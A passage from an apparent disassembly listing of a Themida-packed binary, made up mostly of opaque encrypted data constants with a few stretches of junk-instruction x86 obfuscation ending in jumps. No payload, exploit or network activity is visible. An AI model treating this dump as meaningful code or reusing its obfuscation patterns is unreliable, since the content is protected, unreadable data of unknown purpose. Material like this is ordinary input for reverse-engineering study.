731283AAh, 0D9482A2Fh, 813BC8Ch, 23B0078Bh dd 882517Fh, 5A4817FBh, 0A918F1B5h, 2DA740E6h, 8EF08518h dd 0D85EEFDFh, 7F67334Ah, 0D8DEC019h, 3Bh, 0D3625BEAh dd 9DF1259Bh, 64F0FF0h, 97657E60h, 0F33B17FAh, 0E2C4BA2Ah dd 17FA95FDh, 0EFB33045h, 9AE7A416h, 216F7614h, 5EB97A04h dd 0E175A99Bh, 0C0872FB7h, 10A68DEh, 0C05A0000h, 956C32CDh dd 7D286227h, 0F9E3AF2Dh, 0F47CB5Bh, 0F6B843B6h, 0BD8FBB5Bh dd 7FF3F319h, 0A05B4E27h, 8224783Ch, 11B617DDh, 0B49A1065h dd 11B62480h, 70A674D1h, 6750356Ah, 6F8ED479h, 42B56CE2h dd 0E1D42587h, 75D01426h, 2E77D1B9h, 7E8C4F4h, 0BB11B5F5h dd 8EECA42Ah, 56F5E60Fh, 2A64E110h, 0F10A1EF4h, 0A413980Fh dd 3FBCBDE1h, 0BAC6C7ADh, 0FB225B04h, 119EE717h, 621D9059h dd 320EA0ECh, 7B1642BEh, 0E843FB2h, 4B125CA9h, 7034A85Dh dd 0D8D59A3Ch, 186D1E42h, 754DBB92h, 42D88C53h, 0F6F9DF1Eh dd 4A1E42D8h, 0CC499A39h, 2D5D51EAh, 587E8A71h, 228h, 0EF7D1481h dd 8F1DA61Ah, 23B94ABAh, 0B824E7D6h, 5ECE8371h, 0C230E4FCh dd 584A9F0Dh, 0F7E831ABh, 9205D448h, 0EA1475F7h, 1D52B34h dd 4E4A9718h, 7D3DD2C0h, 0E3D738ACh, 6889DD5Ah, 2A9D6CE2h dd 7529D4C7h, 91C89709h, 0EB7811B5h, 457BE16Eh, 9BD3625Bh dd 0C2AD0347h, 7E11B591h, 475F61F5h, 120FF09Eh, 96F7F8DEh dd 3A4B17FAh, 8CD223B4h, 460BF9A0h, 0B39D1120h, 17FA98A0h dd 7536AF6h, 0DEBFAD9Fh, 0EAF8h, 0CDC0CA00h, 27956C32h dd 0A2923C62h, 0F311B59Eh, 860CB72Ah, 5F855C4Fh, 3149BDD3h dd 0C594A623h, 16D9FFD7h, 0AA11B5B8h, 0B856DC59h, 8BC37E71h dd 0C52F1E2h, 0CD3169EDh, 0AE1CB260h, 9D110297h, 0F4FFEDFh dd 49B222CBh, 44F5A958h, 1C92A3C7h, 0F1056032h, 1F8DD60Fh dd 0B5C57451h, 42BBBC13h, 0CB3EEF16h, 0C81DBA30h, 7EE7D786h dd 0FA70FD8Eh, 99F9E7B6h, 42CF3827h, 0A67B881Eh, 94089536h dd 90B25745h, 712D552Dh, 110C4ADEh, 98000001h, 31F8642Bh dd 519804BDh, 0ED3CA061h, 8D14BFEh, 0D577F59Ah, 34D9C7CDh dd 0D26F61A8h, 7F0EFF4Ah, 1EA91CEDh, 2D830B8Eh, 1801D642h dd 0C05771FEh, 397D3DD2h, 0B591D887h, 971B6811h, 26BD30F9h dd 35A4E504h, 0E67D3192h, 2FAC614Fh, 0F07D06FAh, 0FF7993BEh dd 60CA8A6Fh, 0C04E74EAh, 6C32CDh, 1DAC1DCCh, 0B591303Fh dd 0CF439011h, 8418A316h, 1C5EEF2Eh, 3D2284D8h, 8511B591h dd 0ECD4FA70h, 560FF9A8h, 0D80590Dh, 8F0CB72Ah, 64C62CFh dd 56DE9E00h, 386E2391h, 0CE1BB539h, 547A20DBh, 0EF71606h dd 7B2FDCCEh, 0CC9231A2h, 45D8ED7Fh, 28788DD3h, 0ACF28F01h dd 0A56A588Dh, 7A05F851h, 91A782E2h, 5F00A666h, 0E32120B3h dd 0F9BA3192h, 9407DE54h, 0EDDCB5E9h, 143045Ah, 168554FCh dd 0B326FF73h, 0FBAF6050h, 0E32AD97Ah, 593AF20h, 0C4024B8h dd 8AD0695Dh, 929E416Bh, 6E5C2120h, 65E97AD9h, 0D88E39ACh dd 3FEh, 716FC000h, 663CD3C0h, 3D611C8Fh, 8ED47364h, 6238C537h dd 32681D8Bh, 82D86D5Bh, 5509BC2Bh, 277B0CFCh, 0FDA15A4Eh dd 0E0895076h, 4BA52h, 0D0010000h, 4E8835Ah, 5C240487h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 2EC3h mov [esp], edi push esi mov esi, 64C3A32h mov edx, esi mov esi, [esp] add esp, 4 push 4AFBh mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], ebx mov ebx, 8 add ebx, edi mov [ebx], edx pop ebx mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_545D4D ; --------------------------------------------------------------------------- db 9Eh dd 8EB80747h, 3064C46h, 0FEE0FFC5h, 2041AF3Fh, 8C48B953h dd 7001BF15h, 6B1BBE2Dh, 0C34103E2h, 0F21D3F59h, 0F60CAB50h dd 0D5261639h, 0CA4A858Eh, 9710E952h, 3273B0C0h, 8C63D2ACh dd 0EB2B9C03h, 0FE7BB904h, 51BE936h, 3AA70000h, 0CCC00993h dd 7060A933h, 0DFC4DDFh, 0A917E27Ah, 0BEC678E4h, 0B923E8D6h dd 5BC17E70h, 0FE6E1D8Eh, 9F0DB82Bh, 511EB0FAh, 0F11801D8h dd 0CDC0A060h, 0CC006C32h, 0B59205EAh, 8F28BD11h, 7B71049Fh dd 0C801955Eh, 3D3B11DAh, 7F05A5B1h, 0CD6993Fh, 196A11B6h dd 0C639009Ch, 0C0FD0F6h, 22B311B6h, 0B52881A5h, 9FD540Ah dd 7D6F3E70h, 0C8124AC0h, 655893AAh, 6F742DAh, 0A314E547h dd 31BE49BCh, 0B824016Dh, 0C077183Eh, 8E00D95Dh, 0BA3AADF1h dd 0C87768A3h, 77128554h, 49B5AD33h, 9BD511B6h, 0CF9ED282h dd 0F8792DE0h, 0B6470BD4h, 0A82EB711h, 7B5EF8EEh, 78A3D8h dd 0C0110000h, 0CC776ACDh, 0D7220F4Fh, 5A980DA4h, 0B884DC52h dd 0CC42FFF1h, 0B63FEFE2h, 0BEC79111h, 7B540A9Ch, 1255D8h dd 2C190000h, 0E0C22D0Eh, 0F8DE9034h, 11B63CF7h, 0B6B43A4Bh dd 4AD3F855h, 0E5A8E71Dh, 8829D24Fh, 9B1F64D5h, 0F1B54E42h dd 79EADC8Dh, 5731A7FBh, 0F6AC2960h, 0A61AF347h, 1F0491Dh dd 0AC32184Eh, 0D16A5E99h, 280BFE4Bh, 0A16051B6h, 72FF7E24h dd 0D2C0F4EAh, 5405693Dh, 0FA53A760h, 5A297D06h, 8A78B3CAh dd 560767C5h, 0F950A665h, 16337B06h, 0C362936Eh, 915E705Ah dd 3111B65Fh, 0FBD327A4h, 5949B222h, 0E772BA8h, 0EEE188CCh dd 0CEEE0F53h, 11B65F21h, 968740A3h, 0F45FC685h, 6479EB6Fh dd 7B5EA036h, 87FBD8h, 0E6B70000h, 0E11056F5h, 0D2C05F6Dh dd 2090693Dh, 0C3113B6Fh, 0D8917FBAh, 4CDE6912h, 45A72450h dd 0C66506F4h, 3F1D84E8h, 0BD144AD7h, 9EE7BB4Eh, 0B7DF7B82h dd 0ECD87B2Ah, 730E81A8h, 412E0E2Fh, 8111B60Fh, 0F5807B9h dd 9BE811B6h, 37DAC91Eh, 79F3A3h, 0C0C10000h, 0AC7D3DD2h dd 25E0D33Ch, 2F73F001h, 0ECD0880Eh, 0ACF4F641h, 6AE0B014h dd 0DF8342B3h, 0A6616484h, 55099338h, 62B0BF11h, 9B1011B6h dd 991D9A2Bh, 0BF1155ABh, 11B591B0h, 0AE1EC310h, 22A8491Dh dd 184EF7EBh, 0F69305D4h, 93845E60h, 8AE411B5h, 918F5076h dd 0A23311B5h, 0F9A7BE2Ch, 0A5BEB34Ch, 92DC27E2h, 0B5EE333Ch dd 0F0468F11h, 7B052086h, 17BD8h, 0C0490000h, 19051BD0h dd 863DECCBh, 198C6539h, 358F386Eh, 4405F530h, 82338AD8h dd 4BC4D6C8h, 0D0990FF1h, 8AF23DCh, 925BA7FBh, 53BB4522h dd 9F4F4591h, 2FDACD12h, 9D74FA7Bh, 0A90D9F2Ah, 74F1A4FCh dd 34BA355Ah, 0B5FEADDh, 0FB168C45h, 56EAD417h, 0FB146F70h dd 0D9863817h, 6917FB14h, 0F72CB91Ch, 5CCE4409h, 601B8E49h dd 1F1B8FCh, 971B1A40h, 0EAB04BBEh, 55E5A013h, 14B0BF11h dd 0C31017FBh, 0A4B4174Fh, 0C87366A1h, 0BCA5AB86h, 0C2D7F02Bh dd 0E98D24Ch, 49DEBFB6h, 10Dh, 0D3625B7Bh, 0B4D5259Bh dd 12630FF0h, 6302F54Ch, 7B6C1A0h, 0F864E1FEh, 5F03BE31h dd 32681386h, 3BEC751h, 3D77F590h, 0DEC013A9h, 42F2h, 8455C000h dd 0BDFF7314h, 4306F514h, 9D12B4C6h, 2511B591h, 8BA68AD0h dd 0EA989F36h, 624CC279h, 11B6607Dh, 346A73F5h, 0B46A249Dh dd 11B660FBh, 0CEAE3E47h, 604B148Ah, 6EF711B6h, 9BCEE8h dd 55300000h, 91B0BF11h, 0C31011B5h, 39880D4Fh, 9AFF5F71h dd 34410FF0h, 0DF80267Ah, 6317FA98h, 6DC49C12h, 195DCF7Ah dd 0E1A614C5h, 0CF90BCBDh, 7317FA98h, 42B56CE2h, 1DB3F787h dd 17FA9852h, 4F4065EEh, 7C623AB0h, 17FA9968h, 0CC071E2Eh dd 0F0BE2ED9h, 3EC93CD5h, 24CC968h, 3EE319ACh, 0A50A516h dd 0E18540B3h, 0B4EA9508h, 0E1895648h, 0AC391E46h, 2CA08577h dd 0B7501693h, 9EB5283Dh, 2EE3D198h, 0D775F978h, 0E9D786CEh dd 7BFF7E24h, 6D2D9C39h, 8B2AFA4Bh, 0AB31421Ch, 0D3625BB5h dd 0DA90259Bh, 0A72C0FF9h, 34D7C697h, 0A91ACF6Eh, 653C941Ah dd 6E1F8F72h, 3BAE7BE1h, 45F4DA80h, 0FCE653F2h, 39AC677Eh dd 0D8CB1E8Eh, 31A0792Dh, 459FC89Eh, 77128540h, 16B124F5h dd 0C0650h, 55480000h, 0D3F91DF8h, 0C74B3179h, 0D3C003A1h dd 1C8F663Ch, 73643D61h, 0C5378ED4h, 1D8B6238h, 6D5B3268h dd 0BC2B82D8h, 0CFC5509h, 5A4E277Bh, 6876FDA1h, 6489h dd 68241489h, 7744h, 68243C89h, 642Bh, 0BF241C89h, 4C670399h dd 3A6C781h, 0EF81651Ch, 319E0CA3h, 62ECC781h, 0F7815248h dd 6F6E3D7Eh, 23BB5347h, 81402B0Ch, 581C59F3h, 4BEB8173h dd 8130D448h, 4A7890E3h, 6EBC132h, 6E62E381h, 0F3814806h dd 0BB0F0FB0h, 835BDF31h, 248904ECh, 24048324h, 6C685B04h dd 8900006Ah, 438F243Ch, 2434FF08h, 4C4815Bh, 8B000000h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_545D4D ; --------------------------------------------------------------------------- db 0AFh dd 0F92AE11Bh, 9133D8DCh, 4BE0B893h, 0C503064Ch, 6D55E0FFh dd 5E467081h, 0F9B2161Bh, 0FCF31372h, 0C3E5F36h, 0D0E36A48h dd 2220438Bh, 22BB6B49h, 98124A6Eh, 7B542ECEh, 79CC3C26h dd 726F336Dh, 43653E3Ah, 64E1052h, 64072577h, 0EE6F47h dd 10536D80h, 0CA987EDDh, 4EB1DA8h, 29DC8BF6h, 537E9h dd 1AB11E00h, 0BA43B782h, 26E7D722h, 0C18473C6h, 6B208E5Bh dd 4D475FF1h, 0E732AA5Fh, 5D448F5h, 0A277F594h, 7108942Fh dd 0DDC89709h, 0EF781801h, 2F148657h, 0D810EBFh, 6ACDC03Fh dd 6594CA79h, 0FDEB4218h, 0B590D448h, 99A595E7h, 469F1309h dd 1BF2A853h, 0B75245A8h, 47B9602Ah, 855C34BAh, 28326811h dd 8578B3CAh, 269762FAh, 247AD767h, 6423942Ch, 0C6963F3Eh dd 6981E21h, 6B5BC233h, 0E87584DAh, 5CE9DBB2h, 0A95C4B12h dd 96CE44F5h, 6A30CD3Fh, 3F632293h, 5BBEC715h, 1AD5E868h dd 0F5501AA9h, 5D7473B6h, 0AD23B736h, 4C13B5C9h, 0F411B5B3h dd 0BF32EB6Fh, 62705E04h, 211B5B5h, 7B6B2F36h, 28D87ACAh dd 78FE9301h, 5B38h, 0B225F400h, 0A7FBE4DAh, 3E4711B5h dd 0C64CEDB1h, 32CDC0E4h, 936F626Ch, 471111B5h, 0A88A1C3Eh dd 1D5D87Ah, 0E7000000h, 6F33CCC0h, 0C5992296h, 80CA7D6Ch dd 9D2C9D4Ch, 0B591B0BFh, 18E71011h, 1EE33670h, 0E2BA30BDh dd 0BDE3FA78h, 0A717F8ECh, 3C1599E6h, 5CAD3FC8h, 104EDE69h dd 7265D2C0h, 0BD6293D7h, 57E6BC4Dh, 0E9D980CAh, 983E0258h dd 11B591D7h, 199D1A6Bh, 3AAC7D41h, 0DE7CD98Dh, 6F9A3201h dd 6444ED6Ah, 0DB7A349Ch, 49BD941Ah, 0A013EAB0h, 0F7E841E5h dd 61249348h, 334A8A3Dh, 0E53971A0h, 0B6221CC3h, 0DB5FA411h dd 0C16C3449h, 398878D2h, 0E63FB3D9h, 0C953F8h, 973CAA8Dh dd 81A522D3h, 5317B828h, 0B3E7FE6Ah, 0D87B5223h, 577Ch dd 0D2C04E00h, 2090693Dh, 0C3113B6Fh, 0A4917FBAh, 0E1CB231h dd 5C1588D0h, 0ED6A8BDFh, 973CAA7Fh, 0F88B7AD3h, 0B8CD5BA2h dd 7B2CF4E2h, 50AFD8h, 0C01D0000h, 90693DD2h, 633A601Fh dd 348DD174h, 0F55F03C4h, 0A4FB5E67h, 58468184h, 0BF4EFBB3h dd 0F1228D40h, 0EAC846CCh, 7C6BCCC0h, 0C93C95C9h, 4CC9683Eh dd 1D359BCFh, 4D11B593h, 8FBAEAF3h, 0D378F296h, 0C3B53975h dd 0D87B93E3h, 1BCh, 0D0C00E00h, 4DCA7367h, 0B24D4019h dd 6479FBECh, 148839A9h, 22967F5Eh, 6B3FD2C1h, 18194DCAh dd 0ADFDD39Bh, 0E00FF0A2h, 1AE74445h, 90E6F70Eh, 0B8FCBEC7h dd 0FADE5906h, 0C3AC0217h, 7F17FADEh, 0B0064FF6h, 0F38E01D8h dd 1902F2BBh, 149AE7AAh, 813CAF7Ah, 5F95CC9h, 0A512CFEFh dd 18357951h, 2BFDB2F3h, 0AE20C5CDh, 9EB39D11h, 0EA17FA93h dd 95E3A984h, 129E68E9h, 0EE64E1A2h, 3BAE697Ch, 0DACD1C80h dd 92348477h, 17FA93CDh, 3F63E075h, 14EDB13Eh, 0E340E6A1h dd 1E914C51h, 936708AEh, 35A517FAh, 842FCE94h, 8A39AA7Fh dd 0D1D59F0Dh, 8ADEBFAAh, 11Ch, 0D3625B38h, 0B4D5259Bh dd 12630FF0h, 4702F54Ch, 7C8E1A37h, 9A71EA42h, 3CAF7A14h dd 9104DD81h, 9FD3B0F6h, 0A82EDDCEh, 0F5E8233Ah, 2EDE226Eh dd 0ADF55D5h, 0FC60ED96h, 0C03034B2h, 4A6FDEh, 5B5D0000h dd 2187D76Eh, 11B5918Eh, 470AF932h, 9158A4FAh, 3F3E641Dh dd 91CA95BBh, 0CE4611B5h, 932AE7B7h, 924AE5DBh, 6DF611B5h dd 0AAD5FFh, 0E4410000h, 47C80408h, 21CEE0ADh, 0A111B664h dd 2187D754h, 11B6643Eh, 0CFFD7182h, 9BD3625Bh, 98239647h dd 1FE1513Fh, 0F67CEA96h, 0F0F876E8h, 0E7BBC80Fh, 0BFEDAE9Bh dd 79A18BE3h, 380238D8h, 1B9FFDF5h, 0A834CFC2h, 8FD36E61h dd 0FB1A13C1h, 0B2CB5517h, 39CC3BE2h, 875ED465h, 0BDF36914h dd 0CFE1A918h, 163F4EEFh, 875E0451h, 0B2356914h, 21652B32h dd 4766E08Fh, 5D4B601Eh, 0C643F2A8h, 0F78B0270h, 47660ED1h dd 0FC21B21Eh, 0A2B7F08h, 0A91CCD8Dh, 0F2A85346h, 0C70C643h dd 8B9B94AAh, 43D92A1Ch, 0B84BBA63h, 0EDDF53E2h, 9BD3625Bh dd 0F9C60925h, 782EB70Fh, 0D3766534h, 0DE3A259Bh, 7D861801h dd 12AD20F9h, 0B14CBF8Ah, 3BC30F9h, 0B289D78Fh, 0BE77096h dd 0A215D0D5h, 0ED2185E7h, 92B824CBh, 0C3579C47h, 0A2EC970Ah dd 247A0BFBh, 70C98115h, 64279681h, 0ECB23F3Eh, 0A96479FBh dd 0C8118B36h, 62742AD5h, 0Dh, 148455ACh, 8B08BD2Bh, 0D6D026D7h dd 3CD3C038h, 611C8F66h, 0D473643Dh, 38C5378Eh, 681D8B62h dd 0D86D5B32h, 9BC2B82h, 7B0CFC55h, 0A15A4E27h, 895176FDh dd 4C181E1h, 83000000h, 0C8704E9h, 24248B24h, 5E08950h dd 4, 8704E883h, 895C2404h, 8953243Ch, 4C381E3h, 81000000h dd 4EBh, 241C8700h, 242C895Ch, 3E09BB53h, 0BD552E3Bh, 33967462h dd 815DEB31h, 2143BAE3h, 0CF3816Dh, 81614D7Ch, 0BC06C7CBh dd 0C381437Ah, 87500DF6h, 545BDF89h, 81242C8Bh, 4C4h, 8B95100h dd 1000000h, 8B3989E9h, 0C483240Ch, 242C8B04h, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 50243C8Bh, 405E089h, 5000000h dd 4, 5C240487h, 0F92BC8E9h, 0C51888FFh, 4C5167B8h, 0FFC50306h dd 881F93E0h, 0F5302278h, 0C8297654h, 4E2CF76Bh, 4604EB32h dd 0E945B48Dh, 5B3h, 0E7450CF9h, 87E59E12h, 1B8142B2h dd 0B02CDFCEh, 56D67B69h, 0BA28ECF4h, 50429715h, 0EFE029B3h dd 8A7DCC50h, 0E22C6DFFh, 1E323CCh, 76529F18h, 7832CDC0h dd 0C823FB1h, 0F2D46854h, 11B591EDh, 538A0055h, 783CA065h dd 0F833EB1h, 1658E3D6h, 0F2A85547h, 3E97CF43h, 658614CBh dd 0FAE5FA4Ah, 68C5297Dh, 2191A9E3h, 5D6C760h, 89654788h dd 96135AE1h, 8D5C900h, 0FE3F68D1h, 531794EDh, 2526B89h dd 84DA6B5Bh, 0E95906B8h, 9CE911B5h, 4F429B1Fh, 0A6FAB4h dd 11B5E95Fh, 821C92E3h, 258746B7h, 7E24E3D4h, 9BAC35A7h dd 5D02A4FEh, 0E511B5D5h, 96A53790h, 8DB8F27Fh, 0E43575D7h dd 6038BE87h, 88D8ED67h, 0D7C4199Dh, 0C44ADA70h, 0D8C99C0Dh dd 9779BE27h, 7A655B13h, 0C611B682h, 0D37E30BDh, 0B1BB5DC5h dd 51CF4309h, 6785301Dh, 9338B43Bh, 0B63D323Dh, 0F8458E11h dd 9D289B72h, 3FCB87C9h, 0ADBB11B6h, 54E4C298h, 92BFD87Bh dd 0D000000h, 6C32CDC0h, 0B5936F62h, 45991111h, 0B5917C63h dd 3BBFC411h, 0E0C694A9h, 0BBD87AA8h, 9, 8833A677h, 2EA46153h dd 6BCCC01Ch, 3F96CC79h, 0CD6C32CBh, 0C69FC340h, 1DC2E4D2h dd 0A511B591h, 0A38FD350h, 582D8486h, 7A542B9Ch, 0C0317E02h dd 1D85EDBh, 0A1ABFF92h, 0F0D40EDh, 9C4DE6C3h, 23717416h dd 0C526C9EFh, 499A11B5h, 0B7980CC5h, 5FDE8449h, 0D66A4AD2h dd 0B4EA9307h, 0C5C89785h, 0EB7811B5h, 0D293FE4Ah, 0D5599B87h dd 6EFE897Ch, 3DD2C070h, 3B1C9069h, 0D46539CCh, 0A0B01357h dd 0DF74629Dh, 2609FC4Dh, 0C08A17B4h, 11753B65h, 22A86A56h dd 9C2B066Ah, 0ADBA32AAh, 9D0DC44Ah, 0F4FB6ECh, 1B11C522h dd 3AB01962h, 62CF95A8h, 7372025Eh, 4F098D7Ah, 0D87B8E47h dd 7C10h, 0D2C0A200h, 2090693Dh, 6F623B6Fh, 91B8A719h dd 0FB0811B5h, 6351287Eh, 192BF8AEh, 0B93F9104h, 0D67B69A4h dd 70158356h, 0A617C62Ah, 4BBA93E7h, 0B427F6B8h, 0E4CD8509h dd 9D396164h, 0CAD87AA2h, 874F10B6h, 62F311B5h, 4FACECh dd 551E0000h, 0B7584811h, 856A42F3h, 3F11B591h, 6C252F6Bh dd 96DF463Dh, 3CFDE2C4h, 304511B6h, 0D07563BAh, 3C2338Ah dd 0E1E4045Fh, 8913B826h, 33CCC0ABh, 9371616Fh, 471111B5h dd 0A88A1C3Eh, 0AD5D87Ah, 99000000h, 5CDFACACh, 0C2488B7Ch dd 3FD0C0E0h, 641F926Bh, 0C891893Eh, 678F28D7h, 85DA96Ch dd 3C41C357h, 3E701181h, 48CE7F6Fh, 8C3D98D6h, 1EBEECC2h dd 0EB780FF1h, 0B1DE4BB7h, 9B94BF26h, 5208B326h, 79D026A3h dd 9861FB86h, 9D09A25h, 87B6EC95h, 5C755B33h, 0A617FB7Ch dd 7AD39734h, 48A3C78Ch, 6F32A5B8h, 9A0DC8DDh, 0E382AFEFh dd 46493905h, 7529A72Bh, 1C9235A4h, 6737D2C5h, 338744B6h dd 740F825Bh, 4C1D5D2Eh, 1CF5A95Eh, 1D911EA9h, 48BB768Fh dd 650FDBDh, 0CA8FA30h, 624CC248h, 0DEC00884h, 9D4876D3h dd 4132B384h, 149A2D9Ch, 161A4h, 52416800h, 0C44AEBBFh dd 3DF855E6h, 59B7F369h, 328BC94Dh, 0A5D5CB83h, 130FF0E3h dd 0D2CEFEE6h, 8C09E537h, 0F18C7FD6h, 0D1F70B6Bh, 17FAA40Eh dd 74AD21B2h, 70B4C681h, 0FAA4915Eh, 3A43117h, 40424B8Ch dd 0E2BA301Eh, 0B9ED980Bh, 88435AEAh, 0B8F26A15h, 0DEC0122Eh dd 5769h, 6E5B5B00h, 0E64387D7h, 0A3147138h, 9B829A7h dd 8227A455h, 0DFE1750Eh, 11B66260h, 0E3CF93E0h, 1D793F46h dd 0EF63B389h, 0B6261EC1h, 0B129211h, 63249445h, 0DD64ADEFh dd 26843B9Dh, 7AD711B6h, 551F23D9h, 935C726Bh, 2F11B652h dd 2D559A6h, 0AF616BF1h, 0A3000000h, 75128455h, 0DA655831h dd 62E87584h, 8E7C9530h, 501FB1F9h, 0F011B591h, 7254E663h dd 0FF09ADCh, 36A47589h, 2CCD91h, 17FA985Fh, 0BB1C92E3h dd 46B9602Ah, 9D0EE7BBh, 48BC61EEh, 8A633BBFh, 29F06C17h dd 9A430BB6h, 0BC149A29h, 0FA994212h, 0E1E40417h, 9408B326h dd 0A816FFDEh, 90D466E3h, 0A62CD5C9h, 3ED7FB98h, 6436BF16h dd 0B1CFDBC9h, 0DD5113BFh, 0EB92C85h, 0D0D56F58h, 0D69A0F8Eh dd 0EFEC1ABCh, 0F33747C4h, 46F712DDh, 0D125AE1Eh, 1280A9EDh dd 2CD7F97Dh, 8C1C8B35h, 0D881E547h, 0F20327E8h, 495906B8h dd 9CE92493h, 625BD416h, 5E259BD3h, 0DA0FF9CFh, 0A73A29ADh dd 53D0CDDAh, 0B843B60Fh, 27E2D524h, 53B73A17h, 5071B67Dh dd 7CDC82DAh, 0CBD398D3h, 62559095h, 1F445A7h, 5A492046h dd 7CF4F3B7h, 803BAE69h, 2FDACD1Ch, 4C1A377Bh, 56678035h dd 0F1A21FB9h, 48E43C50h, 40F1B55Ah, 3694FC3h, 0AB000000h dd 0D3C0716Fh, 1C8F663Ch, 73643D61h, 0C5378ED4h, 1D8B6238h dd 6D5B3268h, 0BC2B82D8h, 0CFC5509h, 5A4E277Bh, 5676FDA1h dd 0C681E689h, 4, 8704EE83h, 248B2434h, 0E1895124h, 4C181h dd 0E9810000h, 4, 5C240C87h, 68240489h, 3019h, 68241489h dd 4FBAh, 0BD242C89h, 68AE4ACCh, 9E076DB8h, 5DE8019Dh dd 3B8D68h, 24248900h, 4240483h, 481505Ah, 0D4459024h dd 8428F67h, 4590BF57h, 7A2967D4h, 148B5F08h, 0E1895124h dd 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch, 4C48158h dd 0E9000000h, 0FFF925F5h, 9F1B7DABh, 0B81462E8h, 64C575Ch dd 0E0FFC503h, 452F1105h, 7414B63h, 24CA8103h, 78F0FE9Ch dd 3B6E2EA3h, 2E3E3A1h, 7D024539h, 0C0E5317h, 21A5544Ah dd 5DDA5483h, 7180C82Ah, 1C466413h, 1B68AD3Fh, 7BFE61F7h dd 59248D8Dh, 6A064Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0CFAA8EC3h, 0F7BF0F7Ch, 0D59D8960h dd 61064529h, 2A018D89h, 6A0645h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8B6645C3h, 0D585C7F8h dd 0AC064503h, 6A00006Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0D75EC355h, 8D891D0Fh dd 64529D1h, 32E9B523h, 85C70645h, 645095Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 90C35242h dd 82846DE8h, 0F0735A8Ch, 0E8FAB43Ah, 0Ch, 0C1424814h dd 1E80E3DEh, 59D63327h, 0B1534FBFh, 0B5FF583Eh, 6452A29h dd 6860Fh, 860F0000h, 0 dd 2A1195FFh, 8D890645h, 6452C81h, 95FF006Ah db 21h, 31h, 45h byte_5B3897 db 6 ; DATA XREF: Themida_:00540944o dd 7CEBC08Bh, 0CF122C87h, 0F4731E74h, 2770186Dh, 467F6D25h dd 5F59ED84h, 0E15D5DA1h, 6EAFE7D4h, 458B06B5h, 0D8D781C5h dd 78EE2AE4h, 0C734EF1Eh, 9E139BBBh, 0AEC94166h, 0BCBFB4C6h dd 6E3DFF93h, 0A4A0849Bh, 0EBB412DBh, 29B19D05h, 0F3674F39h dd 679A75Dh, 4FB07F47h, 0A8019E74h, 69C788Ch, 3A71F74Ch dd 5E790F13h, 30E6D155h, 3276B79Ah, 0D8AC7415h, 70FCBDA3h dd 0CFABA57Bh, 22AD77h, 0B21104EBh, 90E92A86h, 70000005h dd 8950CC83h, 29F06C15h, 459408B9h, 0E029B356h, 0DCF5DF2h dd 9C319F75h, 3AC73900h, 0A76657A2h, 4601F445h, 457BA3E6h dd 1801EA9Ah, 55FFD926h, 0FF731484h, 5208B326h, 0E4780DFBh dd 856A4C80h, 3F11B591h, 0F7721CBCh, 59AA0938h, 0FE897CD5h dd 0EEDED1A8h, 0B61F27C8h, 0CD4A9B11h, 33CCC099h, 809DCE7Bh dd 560EF73h, 3373D9B1h, 0FF640116h, 6AE0320Ah, 0B72AE5F8h dd 5849900Ch, 0F5E633A9h, 0F7290456h, 66AEDDEFh, 0E3BA1298h dd 590E54F1h, 1A5E061Fh, 0B66EBBA4h, 78FE0711h, 0D99130A1h dd 6E3C2385h, 7F8411B6h, 219465FBh, 0B8FCC066h, 0B66E5906h dd 0D4C4E911h, 1E20B633h, 11B67044h, 43111424h, 6EC6A90Fh dd 0E97A11B6h, 85B33365h, 54ECD87Bh, 0DE000000h, 76118455h dd 0BB629E0h, 93580957h, 3E0A11B5h, 0A8737327h, 12CD87Ah dd 9E000000h, 7C6BCCC0h, 2A164CC9h, 912F3096h, 429311B5h dd 18A115CCh, 49FCEB42h, 94A9CF15h, 8FC961CCh, 0E9CA039Fh dd 8F38AC65h, 0C9C162CFh, 596F8397h, 0FBEE3BD5h, 0C0E6DC40h dd 5693DD2h, 0C0FB1028h, 0EE649F90h, 0E01EC337h, 11DAECF1h dd 4405F52Ah, 30C0A3C7h, 0C8CA672Dh, 3F7A8CC7h, 9F0DC44Ah dd 34A772EAh, 8C7CD589h, 0C25EA7FBh, 56F79FBBh, 9EA0D87Bh dd 12000000h, 693DD2C0h, 884B2090h, 9ACF4EECh, 7DF33899h dd 8FFAE5BDh, 60F65C02h, 9F34A25Dh, 0C80A90Dh, 0F95718BEh dd 9AEB11B5h, 0F0491Dh, 9D1A1B4Fh, 0F0D2C019h, 0F9551ABCh dd 98ED11B5h, 0B5F9ABB4h, 41CE1711h, 0B255441Dh, 829B85ECh dd 17BB77D2h, 0BB216175h, 9812DDF3h, 25AE11B5h, 0A8EFE7D1h dd 6BA8D87Ah, 1A000000h, 7765D2C0h, 0E06D8CD2h, 53F2E3BAh dd 0A047B60Fh, 18DAEE06h, 277BF8DBh, 0FDA15A4Eh, 99FC0157h dd 0E41F26C6h, 353A9CF6h, 8D11B61Eh, 0EAB3FB78h, 4AC44AF9h dd 10845514h, 0B62AE377h, 2C9C4D0Dh, 11BF179Bh, 11B59341h dd 0B220C921h, 0FEF0491Dh, 0DC4EC441h, 0A81591C9h, 0B4ED87Ah dd 2000000h, 8507E8CEh, 2ABB11B5h, 0D0C086A4h, 2A076B3Fh dd 0AEF0E4DCh, 32A14661h, 0A42ACB9Fh, 9BCF7A6Dh, 5691942Ch dd 6947A566h, 8C5D1DACh, 6376B1Ch, 0C0EACCB0h, 9D0FF0C9h dd 0ABF98EB0h, 0FAE06A75h, 248DD617h, 0CE441070h, 0F0FFD169h dd 5017FB09h, 9E08603h, 3D71EB96h, 918C7F9h, 5BA817FBh dd 0FE741786h, 5509B427h, 0FB0B560Bh, 0C730A017h, 0C5742AD3h dd 5C4B2278h, 8E9EF5A9h, 0A3BDE477h, 0D16C5F9Ah, 700BFE4Bh 